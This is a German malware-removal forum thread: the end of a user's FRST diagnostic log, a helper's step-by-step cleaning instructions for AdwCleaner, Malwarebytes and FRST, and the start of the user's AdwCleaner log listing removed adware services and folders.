2017-05-14 12:53 - 2017-05-14 12:53 - 68886856 _____ () C:\Program Files (x86)\Overwolf\0.104.210.0\libcef.DLL
2017-06-02 16:10 - 2017-05-17 03:54 - 00678176 _____ () D:\Steam\SDL2.dll
2017-05-30 21:25 - 2016-09-01 03:02 - 04969248 _____ () D:\Steam\v8.dll
2017-05-30 21:25 - 2016-09-01 03:02 - 01195296 _____ () D:\Steam\icuuc.dll
2017-05-30 21:25 - 2016-09-01 03:02 - 01563936 _____ () D:\Steam\icui18n.dll
2017-06-02 16:10 - 2017-06-01 21:50 - 02485536 _____ () D:\Steam\video.dll
2017-05-30 21:25 - 2016-01-27 09:49 - 00491008 _____ () D:\Steam\libavformat-56.dll
2017-05-30 21:25 - 2016-01-27 09:49 - 00442880 _____ () D:\Steam\libavutil-54.dll
2017-05-30 21:25 - 2016-01-27 09:49 - 00485888 _____ () D:\Steam\libswscale-3.dll
2017-05-30 21:25 - 2016-01-27 09:49 - 02549760 _____ () D:\Steam\libavcodec-56.dll
2017-05-30 21:25 - 2016-01-27 09:49 - 00332800 _____ () D:\Steam\libavresample-2.dll
2017-06-02 16:10 - 2017-06-01 21:50 - 00877856 _____ () D:\Steam\bin\chromehtml.DLL
2017-05-30 21:25 - 2016-07-05 00:17 - 00266560 _____ () D:\Steam\openvr_api.dll
2017-05-12 15:18 - 2017-05-03 22:20 - 65709176 _____ () C:\Program Files (x86)\NVIDIA Corporation\NVIDIA GeForce Experience\libcef.dll
2017-06-02 16:10 - 2017-05-08 21:45 - 69516064 _____ () D:\Steam\bin\cef\cef.win7\libcef.dll
2017-06-02 16:10 - 2017-06-01 21:50 - 00385312 _____ () D:\Steam\steam.dll
2016-11-08 19:40 - 2016-11-08 19:40 - 01243936 _____ () C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\LMS\ACE.dll

==================== Alternate Data Streams (Nicht auf der Ausnahmeliste) =========

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird nur der ADS entfernt.)


==================== Abgesicherter Modus (Nicht auf der Ausnahmeliste) ===================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Der Wert "AlternateShell" wird wiederhergestellt.)


==================== Verknüpfungen (Nicht auf der Ausnahmeliste) ===============

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Registryeintrag auf den Standardwert zurückgesetzt oder entfernt.)


==================== Internet Explorer Vertrauenswürdig/Eingeschränkt ===============

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt.)


==================== Hosts Inhalt: ==========================

(Wenn benötigt kann der Hosts: Schalter in die Fixlist aufgenommen werden um die Hosts Datei zurückzusetzen.)

2017-03-18 23:03 - 2017-06-02 17:04 - 00000918 _____ C:\windows\system32\Drivers\etc\hosts

127.0.0.1 clients2.google.com
127.0.0.1 v1.ff.avast.com
127.0.0.1 vlcproxy.ff.avast.com

==================== Andere Bereiche ============================

(Aktuell gibt es keinen automatisierten Fix für diesen Bereich.)

HKU\S-1-5-21-743485210-3963512150-464095969-1003\Control Panel\Desktop\\Wallpaper -> c:\windows\web\wallpaper\windows\img0.jpg
DNS Servers: 82.163.143.157 - 82.163.142.159
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System => (ConsentPromptBehaviorAdmin: 5) (ConsentPromptBehaviorUser: 3) (EnableLUA: 1)
Windows Firewall ist aktiviert.

==================== MSCONFIG/TASK MANAGER Deaktivierte Einträge ==


==================== Firewall Regeln (Nicht auf der Ausnahmeliste) ===============

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

FirewallRules: [{A8FFC4B8-43B0-48DE-A353-8149A8D8EF7C}] => (Allow) C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe
FirewallRules: [{0AAFD34A-8FC7-45C1-A2A4-D57DCBA8E670}] => (Allow) C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe
FirewallRules: [{96F5D5CD-60A3-4F35-83F1-B765568CE76C}] => (Allow) C:\Program Files\NVIDIA Corporation\NvStreamSrv\NvStreamUserAgent.exe
FirewallRules: [{BBFC34D3-39DA-4119-BE0B-6D1E36DF97FE}] => (Allow) C:\Program Files\NVIDIA Corporation\NvStreamSrv\nvstreamer.exe
FirewallRules: [{C2D2B052-7C7F-4265-B50D-EBA5529CC27F}] => (Allow) C:\Program Files\NVIDIA Corporation\NvStreamSrv\nvstreamer.exe
FirewallRules: [{3A72DD84-6014-4310-B9DF-E5B216E31513}] => (Allow) C:\Program Files (x86)\Mozilla Firefox\firefox.exe
FirewallRules: [{E7681B64-952C-4335-8EB7-470EB84EDF41}] => (Allow) C:\Program Files (x86)\Mozilla Firefox\firefox.exe
FirewallRules: [{15E3B702-BC69-460B-9054-B91CD23920A7}] => (Allow) C:\Program Files\totalcmd\Nirsoft\DNSQuerySniffer.exe
FirewallRules: [{5CE36D39-1DA9-49BD-8068-3744F3AA0350}] => (Allow) C:\Program Files\totalcmd\Nirsoft\DNSQuerySniffer.exe
FirewallRules: [{DD64EA03-4C06-4A8B-A560-048929FA7039}] => (Allow) C:\Program Files (x86)\Steam\Steam.exe
FirewallRules: [{EF596E8F-5892-46EB-B494-44E366861E35}] => (Allow) C:\Program Files (x86)\Steam\Steam.exe
FirewallRules: [{9948B79F-90BC-4376-9AEF-673430FAECAC}] => (Allow) C:\Program Files (x86)\Steam\bin\cef\cef.win7\steamwebhelper.exe
FirewallRules: [{54CCD810-187B-4F7D-8460-60AD5BB96422}] => (Allow) C:\Program Files (x86)\Steam\bin\cef\cef.win7\steamwebhelper.exe
FirewallRules: [{9BA7B7F7-BE68-4AA2-A8A5-8D25D6FFB5A4}] => (Allow) D:\Steam\Steam.exe
FirewallRules: [{85B73AD1-6BEB-424B-ADF0-471EF3B4D035}] => (Allow) D:\Steam\Steam.exe
FirewallRules: [{75B39026-82F0-4DA7-A79E-9CC0193FA4BB}] => (Allow) D:\Steam\bin\cef\cef.win7\steamwebhelper.exe
FirewallRules: [{B5F9911A-F923-4D1B-A413-9C5A1B663789}] => (Allow) D:\Steam\bin\cef\cef.win7\steamwebhelper.exe
FirewallRules: [{14C4011F-F016-4757-B936-9731CE44AD48}] => (Allow) D:\Steam\steamapps\common\MountBlade Warband\mb_warband.exe
FirewallRules: [{AA8CADB0-232D-46C4-B296-81A308BAFB3B}] => (Allow) D:\Steam\steamapps\common\MountBlade Warband\mb_warband.exe
FirewallRules: [{3B5A1C6E-76E1-424C-B7ED-F27A7F98E537}] => (Allow) D:\Steam\steamapps\common\rocketleague\Binaries\Win32\RocketLeague.exe
FirewallRules: [{A0E028BD-C043-4CCE-8EF6-C44BCFB095E4}] => (Allow) D:\Steam\steamapps\common\rocketleague\Binaries\Win32\RocketLeague.exe
FirewallRules: [{1D4587AE-433E-4FA7-BC07-E2FD0D142D63}] => (Allow) D:\Steam\steamapps\common\NewZ\NewZLauncher.exe
FirewallRules: [{6B8D1724-1EEE-44A2-AFBA-A63C72F4D820}] => (Allow) D:\Steam\steamapps\common\NewZ\NewZLauncher.exe
FirewallRules: [{7B63E36A-FCEF-4EEF-A233-52E50E5DFC08}] => (Allow) D:\Steam\steamapps\common\The Guild 2 Renaissance\GuildII.exe
FirewallRules: [{63DAF6CA-9781-4A7E-865A-99BBC7FF9691}] => (Allow) D:\Steam\steamapps\common\The Guild 2 Renaissance\GuildII.exe
FirewallRules: [{975874BA-DACE-42A8-A92A-EB2A447FFB54}] => (Allow) D:\Steam\steamapps\common\GarrysMod\hl2.exe
FirewallRules: [{139276BB-992C-41D4-9F7C-3F2FC1472F26}] => (Allow) D:\Steam\steamapps\common\GarrysMod\hl2.exe
FirewallRules: [{FAE93BB5-5ACB-4134-BE3F-26B7C2E9A7D0}] => (Allow) D:\Steam\steamapps\common\Counter-Strike Global Offensive\csgo.exe
FirewallRules: [{2FF606C1-6FD5-42B3-ADB1-14A327EA8F2A}] => (Allow) D:\Steam\steamapps\common\Counter-Strike Global Offensive\csgo.exe
FirewallRules: [{A7DC25F3-647F-44AB-BB2D-84F06E065916}] => (Allow) D:\Steam\steamapps\common\Anno 1404\Anno4.exe
FirewallRules: [{606500B0-79D7-4D78-92BF-C0066D1FBE80}] => (Allow) D:\Steam\steamapps\common\Anno 1404\Anno4.exe
FirewallRules: [{E2E488C1-5739-4CC4-BA27-76EBDDDE7C26}] => (Allow) D:\Steam\steamapps\common\Men of War Assault Squad\mow_assault_squad.exe
FirewallRules: [{905E5EE7-2480-46BB-9799-4E40269AD419}] => (Allow) D:\Steam\steamapps\common\Men of War Assault Squad\mow_assault_squad.exe
FirewallRules: [{00304C19-9309-4ED7-A29B-CD116EB13D25}] => (Allow) D:\Steam\steamapps\common\Europa Universalis IV\eu4.exe
FirewallRules: [{6A450870-389D-4425-88AE-E88EC2AB3550}] => (Allow) D:\Steam\steamapps\common\Europa Universalis IV\eu4.exe
FirewallRules: [{15443FEC-EE17-4C8A-A1B9-43E855E1CDE4}] => (Allow) D:\Steam\steamapps\common\Stellaris\stellaris.exe
FirewallRules: [{8568A6EC-9A28-418F-BED1-704C8A1649BD}] => (Allow) D:\Steam\steamapps\common\Stellaris\stellaris.exe
FirewallRules: [{299E8451-3635-4251-8673-EB3943673423}] => (Allow) D:\Steam\steamapps\common\Tabletop Simulator\Tabletop Simulator.exe
FirewallRules: [{2D8173AC-283D-412F-97C1-9F704D1E0225}] => (Allow) D:\Steam\steamapps\common\Tabletop Simulator\Tabletop Simulator.exe
FirewallRules: [{CE87A516-0520-40C5-B5F2-DFEE9C1AC838}] => (Allow) D:\Steam\steamapps\common\Men of War Assault Squad 2\mowas_2.exe
FirewallRules: [{FEDE1690-BA9F-4D71-A511-EC0A7420EFA8}] => (Allow) D:\Steam\steamapps\common\Men of War Assault Squad 2\mowas_2.exe
FirewallRules: [{012D98EE-C5B6-4CD3-A699-E10278A8387D}] => (Allow) D:\Steam\steamapps\common\Men of War Assault Squad 2\mowas_2_ed.exe
FirewallRules: [{8680DEEC-376F-4714-ADF0-5FCC1C37C2E9}] => (Allow) D:\Steam\steamapps\common\Men of War Assault Squad 2\mowas_2_ed.exe
FirewallRules: [TCP Query User{8EC27805-FE3D-454F-A149-C89D0036FC95}D:\steam\steamapps\common\newz\thenewz.exe] => (Block) D:\steam\steamapps\common\newz\thenewz.exe
FirewallRules: [UDP Query User{32DFE9C4-61A7-400C-9CEB-232F8F2864CB}D:\steam\steamapps\common\newz\thenewz.exe] => (Block) D:\steam\steamapps\common\newz\thenewz.exe
FirewallRules: [{72F495A4-F024-4D99-BED2-0A640CEAD3F8}] => (Allow) C:\Program Files (x86)\TeamViewer\TeamViewer.exe
FirewallRules: [{443C0C43-1C3D-4B39-800E-79C7B1E6C1D4}] => (Allow) C:\Program Files (x86)\TeamViewer\TeamViewer.exe
FirewallRules: [{E2CC1AF2-A5AE-41C6-B281-148EB0BACEC6}] => (Allow) C:\Program Files (x86)\TeamViewer\TeamViewer_Service.exe
FirewallRules: [{DA0AEF3D-850A-4BB4-9927-E93521A4B5D6}] => (Allow) C:\Program Files (x86)\TeamViewer\TeamViewer_Service.exe
FirewallRules: [{FB31347B-3860-4542-B2EE-9F39AD196017}] => (Allow) D:\Steam\steamapps\common\Grand Theft Auto San Andreas\gta-sa.exe
FirewallRules: [{43E6E465-1CAC-4380-BCB8-548D8439E0C3}] => (Allow) D:\Steam\steamapps\common\Grand Theft Auto San Andreas\gta-sa.exe

==================== Wiederherstellungspunkte =========================

12-05-2017 15:48:12 Windows-Sicherung
30-05-2017 08:01:39 Windows Update
31-05-2017 13:45:11 DirectX wurde installiert

==================== Fehlerhafte Geräte im Gerätemanager =============


==================== Fehlereinträge in der Ereignisanzeige: =========================

Applikationsfehler:
==================
Error: (06/02/2017 05:17:02 PM) (Source: Application Hang) (EventID: 1002) (User: )
Description: Programm SystemHealer.exe, Version 0.0.0.0 kann nicht mehr unter Windows ausgeführt werden und wurde beendet. Überprüfen Sie den Problemverlauf in der Systemsteuerung "Sicherheit und Wartung", um nach weiteren Informationen zum Problem zu suchen.

Prozess-ID: 1b3c

Startzeit: 01d2dbb25e301cba

Beendigungszeit: 4294967295

Anwendungspfad: C:\Program Files (x86)\SystemHealer\SystemHealer.exe

Berichts-ID: 41c4326b-46f8-48d1-97ef-25c03e47bc42

Vollständiger Name des fehlerhaften Pakets:

Auf das fehlerhafte Paket bezogene Anwendungs-ID:

Error: (06/02/2017 05:14:37 PM) (Source: Perflib) (EventID: 1008) (User: )
Description: Die Open-Prozedur für den Dienst "WmiApRpl" in der DLL "C:\windows\system32\wbem\wmiaprpl.dll" war nicht erfolgreich. Die Leistungsdaten für diesen Dienst sind nicht verfügbar. Die ersten vier Bytes (DWORD) des Datenbereichs enthalten den Fehlercode.

Error: (06/02/2017 05:14:37 PM) (Source: Perflib) (EventID: 1023) (User: )
Description: Die erweiterbare Leistungsindikator-DLL rdyboost kann nicht geladen werden. Die ersten vier Bytes (DWORD) des Datenbereichs enthalten den Windows-Fehlercode.

Error: (06/02/2017 05:14:37 PM) (Source: PerfNet) (EventID: 2004) (User: )
Description: Das Serverdienst-Leistungsobjekt kann nicht geöffnet werden. Die ersten vier Bytes (DWORD) des Datenabschnitts enthalten den Statuscode.

Error: (06/02/2017 05:14:37 PM) (Source: Perflib) (EventID: 1008) (User: )
Description: Die Open-Prozedur für den Dienst "MSDTC" in der DLL "C:\windows\system32\msdtcuiu.DLL" war nicht erfolgreich. Die Leistungsdaten für diesen Dienst sind nicht verfügbar. Die ersten vier Bytes (DWORD) des Datenbereichs enthalten den Fehlercode.

Error: (06/02/2017 05:14:37 PM) (Source: Perflib) (EventID: 1008) (User: )
Description: Die Open-Prozedur für den Dienst "Lsa" in der DLL "C:\Windows\System32\Secur32.dll" war nicht erfolgreich. Die Leistungsdaten für diesen Dienst sind nicht verfügbar. Die ersten vier Bytes (DWORD) des Datenbereichs enthalten den Fehlercode.

Error: (06/02/2017 05:14:37 PM) (Source: Perflib) (EventID: 1008) (User: )
Description: Die Open-Prozedur für den Dienst "ESENT" in der DLL "C:\windows\system32\esentprf.dll" war nicht erfolgreich. Die Leistungsdaten für diesen Dienst sind nicht verfügbar. Die ersten vier Bytes (DWORD) des Datenbereichs enthalten den Fehlercode.

Error: (06/02/2017 05:14:37 PM) (Source: Perflib) (EventID: 1008) (User: )
Description: Die Open-Prozedur für den Dienst "BITS" in der DLL "C:\Windows\System32\bitsperf.dll" war nicht erfolgreich. Die Leistungsdaten für diesen Dienst sind nicht verfügbar. Die ersten vier Bytes (DWORD) des Datenbereichs enthalten den Fehlercode.

Error: (06/02/2017 05:12:53 PM) (Source: Application Error) (EventID: 1000) (User: )
Description: Name der fehlerhaften Anwendung: gta_sa.exe, Version: 0.0.0.0, Zeitstempel: 0x427101ca
Name des fehlerhaften Moduls: gta_sa.exe, Version: 0.0.0.0, Zeitstempel: 0x427101ca
Ausnahmecode: 0xc000041d
Fehleroffset: 0x003480db
ID des fehlerhaften Prozesses: 0x1e80
Startzeit der fehlerhaften Anwendung: 0x01d2dbb29ab50f8e
Pfad der fehlerhaften Anwendung: D:\Steam\steamapps\common\Grand Theft Auto San Andreas\gta_sa.exe
Pfad des fehlerhaften Moduls: D:\Steam\steamapps\common\Grand Theft Auto San Andreas\gta_sa.exe
Berichtskennung: 2e73e5b9-8de4-435a-a227-934db0cb7c19
Vollständiger Name des fehlerhaften Pakets:
Anwendungs-ID, die relativ zum fehlerhaften Paket ist:

Error: (06/02/2017 05:12:46 PM) (Source: Application Error) (EventID: 1000) (User: )
Description: Name der fehlerhaften Anwendung: gta_sa.exe, Version: 0.0.0.0, Zeitstempel: 0x427101ca
Name des fehlerhaften Moduls: gta_sa.exe, Version: 0.0.0.0, Zeitstempel: 0x427101ca
Ausnahmecode: 0xc0000005
Fehleroffset: 0x003480db
ID des fehlerhaften Prozesses: 0x1e80
Startzeit der fehlerhaften Anwendung: 0x01d2dbb29ab50f8e
Pfad der fehlerhaften Anwendung: D:\Steam\steamapps\common\Grand Theft Auto San Andreas\gta_sa.exe
Pfad des fehlerhaften Moduls: D:\Steam\steamapps\common\Grand Theft Auto San Andreas\gta_sa.exe
Berichtskennung: 2fccbae9-611a-431c-a324-b1d05087630c
Vollständiger Name des fehlerhaften Pakets:
Anwendungs-ID, die relativ zum fehlerhaften Paket ist:


Systemfehler:
=============
Error: (06/02/2017 05:17:45 PM) (Source: Service Control Manager) (EventID: 7034) (User: )
Description: Dienst "Jszip Virtual Driver Service" wurde unerwartet beendet. Dies ist bereits 1 Mal passiert.

Error: (06/02/2017 05:16:56 PM) (Source: DCOM) (EventID: 10016) (User: NT-AUTORITÄT)
Description: Durch die Berechtigungseinstellungen für "Anwendungsspezifisch" wird dem Benutzer "NT-AUTORITÄT\SYSTEM" (SID: S-1-5-18) unter der Adresse "LocalHost (unter Verwendung von LRPC)" keine Berechtigung vom Typ "Lokal Aktivierung" für die COM-Serveranwendung mit der CLSID
{D63B10C5-BB46-4990-A94F-E40B9D520160}
 und der APPID
{9CA88EE3-ACB7-47C8-AFC4-AB702511C276}
 im Anwendungscontainer "Nicht verfügbar" (SID: Nicht verfügbar) gewährt. Die Sicherheitsberechtigung kann mit dem Verwaltungstool für Komponentendienste geändert werden.

Error: (06/02/2017 05:10:36 PM) (Source: Schannel) (EventID: 4108) (User: WHOPPER)
Description: Das vom Remoteserver empfangene Zertifikat wurde nicht ordnungsgemäß bestätigt. Fehlercode: 0x80092012. Fehler bei der TLS-Verbindungsanforderung. Die angefügten Daten enthalten das Serverzertifikat.

Error: (06/02/2017 05:10:35 PM) (Source: Schannel) (EventID: 4108) (User: WHOPPER)
Description: Das vom Remoteserver empfangene Zertifikat wurde nicht ordnungsgemäß bestätigt. Fehlercode: 0x80092012. Fehler bei der TLS-Verbindungsanforderung. Die angefügten Daten enthalten das Serverzertifikat.

Error: (06/02/2017 05:10:27 PM) (Source: DCOM) (EventID: 10016) (User: NT-AUTORITÄT)
Description: Durch die Berechtigungseinstellungen für "Anwendungsspezifisch" wird dem Benutzer "NT-AUTORITÄT\Lokaler Dienst" (SID: S-1-5-19) unter der Adresse "LocalHost (unter Verwendung von LRPC)" keine Berechtigung vom Typ "Lokal Aktivierung" für die COM-Serveranwendung mit der CLSID
{6B3B8D23-FA8D-40B9-8DBD-B950333E2C52}
 und der APPID
{4839DDB7-58C2-48F5-8283-E1D1807D0D7D}
 im Anwendungscontainer "Nicht verfügbar" (SID: Nicht verfügbar) gewährt. Die Sicherheitsberechtigung kann mit dem Verwaltungstool für Komponentendienste geändert werden.

Error: (06/02/2017 05:10:27 PM) (Source: DCOM) (EventID: 10016) (User: NT-AUTORITÄT)
Description: Durch die Berechtigungseinstellungen für "Anwendungsspezifisch" wird dem Benutzer "NT-AUTORITÄT\Lokaler Dienst" (SID: S-1-5-19) unter der Adresse "LocalHost (unter Verwendung von LRPC)" keine Berechtigung vom Typ "Lokal Aktivierung" für die COM-Serveranwendung mit der CLSID
{6B3B8D23-FA8D-40B9-8DBD-B950333E2C52}
 und der APPID
{4839DDB7-58C2-48F5-8283-E1D1807D0D7D}
 im Anwendungscontainer "Nicht verfügbar" (SID: Nicht verfügbar) gewährt. Die Sicherheitsberechtigung kann mit dem Verwaltungstool für Komponentendienste geändert werden.

Error: (06/02/2017 05:10:21 PM) (Source: Service Control Manager) (EventID: 7000) (User: )
Description: Der Dienst "CldFlt" wurde aufgrund folgenden Fehlers nicht gestartet:
Die Anforderung wird nicht unterstützt.

Error: (06/02/2017 05:09:39 PM) (Source: DCOM) (EventID: 10010) (User: WHOPPER)
Description: Der Server "{B0957D9C-810B-4DE0-9C5E-48DB09C5B413}" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden.

Error: (06/02/2017 05:09:38 PM) (Source: DCOM) (EventID: 10010) (User: WHOPPER)
Description: Der Server "{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden.

Error: (06/02/2017 05:09:38 PM) (Source: DCOM) (EventID: 10010) (User: WHOPPER)
Description: Der Server "{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden.


CodeIntegrity:
===================================
  Date: 2017-05-30 23:03:42.362
  Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Program Files\Windows Defender\MsMpEng.exe) attempted to load \Device\HarddiskVolume4\Windows\System32\DriverStore\FileRepository\nvcv.inf_amd64_9f104199581b6aa2\nvinitx.dll that did not meet the Custom 3 / Antimalware signing level requirements.


==================== Speicherinformationen ===========================

Prozessor: Intel(R) Core(TM) i7-7700HQ CPU @ 2.80GHz
Prozentuale Nutzung des RAM: 22%
Installierter physikalischer RAM: 16270.29 MB
Verfügbarer physikalischer RAM: 12600.73 MB
Summe virtueller Speicher: 19214.29 MB
Verfügbarer virtueller Speicher: 15468.9 MB

==================== Laufwerke ================================

Drive c: (System) (Fixed) (Total:227.51 GB) (Free:184.62 GB) NTFS
Drive d: (Daten) (Fixed) (Total:931.51 GB) (Free:791.71 GB) NTFS

==================== MBR & Partitionstabelle ==================

========================================================
Disk: 0 (Size: 232.9 GB) (Disk ID: 68A7658E)

Partition: GPT.

========================================================
Disk: 1 (Size: 931.5 GB) (Disk ID: 68A76683)

Partition: GPT.

==================== Ende von Addition.txt ============================

M-K-D-B 02.06.2017 20:40
:hallo:





Mein Name ist Matthias und ich werde dir bei der Bereinigung deines Computers helfen.



Um die Bereinigung möchlichst effektiv und schnell gestalten zu können, bitte ich um Beachtung der folgenden Hinweise:
  1. Falls wir Hinweise auf illegal erworbene Software finden, werden wir den Support unterbrechen bis jegliche Art von illegaler Software vom Rechner entfernt wurde.
  2. Lies dir meine Anleitungen immer sorgfältig durch, arbeite alle Schritte in der vorgegebenen Reihefolge nacheinander ab und poste immer alle Logdateien (auch wenn nichts gefunden wurde). Solltest du Probleme haben, stoppe mit deiner Bearbeitung und beschreibe mir dein Problem so gut es geht.
  3. Solltest du mir nicht innerhalb von 3 Tagen antworten, gehe ich davon aus, dass du keine Hilfe mehr benötigst. Dann lösche ich dein Thema aus meinem Abo. Solltest du einmal länger abwesend sein, so gib mir bitte Bescheid!
  4. Während der Bereinigung bitte nichts installieren oder deinstallieren, außer ich bitte dich darum!
    Außerdem bitte ich dich, nicht eigenmächtig irgendwelche Sicherheitsprogramme auszuführen und damit deinen Rechner zu überprüfen/bereinigen, da ich so leicht den Überblick verlieren kann.
    Außerdem hättest du dir das Eröffnen eines Themas in diesem Fall auch gleich sparen können, wenn du dann doch wieder alleine rumhantierst.
  5. Bitte beachten: Download bei filepony.de: So ladet Ihr unsere Tools richtig!
  6. Alle zu verwendenen Programme sind auf dem Desktop ( C:\users\dein Benutzername\Desktop\ ) abzuspeichern und von dort als Administrator zu starten!
  7. Einige Programme, die wir hier verwenden, können unter Umständen von deinem Antiviren- oder Anti-Malwareprogramm fälschlicherweise als Bedrohung eingestuft werden. Die Sicherheitsprogramme können aufgrund eines bestimmten Programmverhaltens nicht zwischen "gut" oder "böse" unterscheiden und schlagen Alarm. Dabei handelt es sich um Fehlalarme, welche du getrost ignorieren kannst. Gegebenenfalls musst du deine Sicherheitssoftware vor der Ausführung eines Programms deaktivieren, damit unsere Bereinigungsvorgänge nicht beeinträchtigt werden.
  8. Sollten die Logdateien einmal die zulässige Länge (~ 120.000 Zeichen) überschreiten, so teile die Logdateien auf mehrere Posts auf.
    Zur Not kannst du die Logdateien dann auch zippen (in ein .zip Archiv packen) und als Anhang hochladen.
  9. Bitte arbeite so lange mit mir zusammen, bis ich dir sage, dass wir fertig sind und dein Rechner "sauber" ist. Das vorzeitige Verschwinden von Symptomen heißt nicht automatisch, dass dein Rechner bereits vollständig sauber ist.
  10. In der Regel antworte ich dir innerhalb von 24 Stunden, oft sogar wesentlich schneller.
    Jedoch habe auch ich einen normalen Beruf und Familie. Ich bin daher nicht jeden Tag stundenlag hier im Forum unterwegs. Es kann unter Umständen bis zu 2 Tage dauern, bis du eine Antwort von mir erhältst. Sollte diese Zeit überschritten sein, so kannst du mir gerne eine PM als Erinnerung schicken.





Bitte arbeite alle Schritte in der vorgegebenen Reihefolge nacheinander ab und poste alle Logdateien in CODE-Tags:
So funktioniert es:
Posten in CODE-Tags
Die Logfiles anzuhängen oder sogar vorher in ein ZIP, RAR, 7Z-Archive zu packen erschwert deinem Helfer massiv die Arbeit, es sei denn natürlich die Datei wäre ansonsten zu groß für das Forum. Um die Logfiles in eine CODE-Box zu stellen gehe so vor:
  • Markiere das gesamte Logfile (geht meist mit STRG+A) und kopiere es in die Zwischenablage mit STRG+C.
  • Klicke im Editor auf das #-Symbol. Es erscheinen zwei Klammerausdrücke [CODE] [/CODE].
  • Setze den Curser zwischen die CODE-Tags und drücke STRG+V.
  • Klicke aauf Erweitert/Vorschau, um so prüfen, ob du es richtig gemacht hast. Wenn alles stimmt ... auf Antworten.
http://www.trojaner-board.de/picture...&pictureid=307

Danke für deine Mitarbeit!









Schritt 1
Downloade Dir bitte AdwCleaner auf deinen Desktop.
  • Schließe alle offenen Programme und Browser.
  • Starte die adwcleaner.exe mit einem Doppelklick.
  • Stimme den Nutzungsbedingungen zu.
  • Klicke auf Werkzeuge > Optionen und vergewissere dich, dass die folgenden Punkte ausgewählt sind:
    • Image File Execution Options Schlüssel
    • "Tracing" Schlüssel
    • "Prefetch" Dateien
    • Proxy
    • Winsock
    • Firewall
    • Internet Explorer Richtlinien
    • Chrome Richtlinien
  • Bestätige die Auswahl mit Ok.
  • Klicke auf Suchlauf und warte bis dieser abgeschlossen ist.
  • Klicke nun auf Löschen (auch dann wenn AdwCleaner sagt, dass nichts gefunden wurde) und bestätige auftretende Hinweise mit Ok.
  • Dein Rechner wird automatisch neu gestartet. Nach dem Neustart öffnet sich eine Textdatei. Poste mir deren Inhalt mit deiner nächsten Antwort.
  • Die Logdatei findest du auch unter C:\AdwCleaner\AdwCleaner[Cx].txt. (x = fortlaufende Nummer).





Schritt 2
Downloade Dir bitte Malwarebytes Anti-Malware 3
  • Installiere das Programm in den vorgegebenen Pfad.
  • Starte Malwarebytes' Anti-Malware (MBAM).
  • Klicke im Anschluss auf Scan, wähle den Bedrohungs-Scan aus und klicke auf Scan starten.
  • Lass am Ende des Suchlaufs alle Funde (falls vorhanden) in die Quarantäne verschieben. Klicke dazu auf Ausgewählte Elemente in die Quarantäne verschieben.
  • Lass deinen Rechner ggf. neu starten, um die Bereinigung abzuschließen.
  • Starte MBAM nach dem Neustart, klicke auf Berichte.
  • Wähle den neuesten Scan-Bericht aus, klicke auf Bericht anzeigen und dann auf Export.
  • Wähle Textdatei (.txt) aus und speichere die Datei als mbam.txt auf dem Desktop ab.
  • Füge den Inhalt der mbam.txt mit deiner nächsten Antwort hinzu.





Schritt 3
  • Starte die FRST erneut. Vergewissere dich, dass vor Addition.txt ein Haken gesetzt ist und drücke auf Untersuchen.
  • FRST erstellt nun zwei Logdateien (FRST.txt und Addition.txt).
  • Poste mir beide Logdateien mit deiner nächsten Antwort.






Bitte poste mit deiner nächsten Antwort
  • die Logdatei von AdwCleaner,
  • die Logdatei von MBAM,
  • die beiden neuen Logdateien von FRST.

Twix. 03.06.2017 00:06
AdwCleaner:
Code:
# AdwCleaner v6.047 - Bericht erstellt am 03/06/2017 um 00:08:13
# Aktualisiert am 19/05/2017 von Malwarebytes
# Datenbank : 2017-06-02.1 [Server]
# Betriebssystem : Windows 10 Home  (X64)
# Benutzername : **** - WHOPPER
# Gestartet von : C:\Users\****\Downloads\adwcleaner_6.047.exe
# Modus: Löschen
# Unterstützung : https://www.malwarebytes.com/support



***** [ Dienste ] *****

[-] Dienst gelöscht: a7818f1c7050f50263d826b899a2aec2
[-] Dienst gelöscht: a94fc64eac9f78fb30d61a4428d5768d
[-] Dienst gelöscht: SMUpd
[-] Dienst gelöscht: SMUpdd
[-] Dienst gelöscht: NetUtils2016
[-] Dienst gelöscht: Lace514
[-] Dienst gelöscht: OtherSearch
[-] Dienst gelöscht: pgt_svc
[-] Dienst gelöscht: Recover
[-] Dienst gelöscht: NetAdapterService
[-] Dienst gelöscht: JszipService
[-] Dienst gelöscht: JszipProtect
[-] Dienst gelöscht: WiserIso


***** [ Ordner ] *****

[-] Ordner gelöscht: C:\Program Files (x86)\{0D036371-64B9-4A73-BF45-58BC8B5BE982}
[-] Ordner gelöscht: C:\Program Files\{49E3A942-E7DE-43D6-97C6-4B66E7190F39}
[-] Ordner gelöscht: C:\ProgramData\2b9b2865-2605-1
[-] Ordner gelöscht: C:\ProgramData\2b9b2865-3457-0
[-] Ordner gelöscht: C:\ProgramData\2dfe3513
[-] Ordner gelöscht: C:\ProgramData\886c8131-0b31-0
[-] Ordner gelöscht: C:\ProgramData\886c8131-4b93-1
[-] Ordner gelöscht: C:\ProgramData\{227c5466-612c-1}
[-] Ordner gelöscht: C:\ProgramData\{27e45ab2-312c-1}
[-] Ordner gelöscht: C:\ProgramData\{501e7b25-612c-0}
[-] Ordner gelöscht: C:\ProgramData\{7ea301e5-212c-0}
[-] Ordner gelöscht: C:\windows\Installer\{6C7BAD76-731E-486C-8486-11EA20611DF2}
[-] Ordner gelöscht: C:\windows\Installer\{B8A6C0E6-B1D2-4AC4-9EAC-1D36C0CDB6A0}
[-] Ordner gelöscht: C:\Users\****\AppData\Local\AppTrailers
[-] Ordner gelöscht: C:\Users\****\AppData\Local\AdvinstAnalytics
[-] Ordner gelöscht: C:\Users\****\AppData\Local\Programs\SS_FF
[-] Ordner gelöscht: C:\Users\****\AppData\Roaming\PC Clean Plus
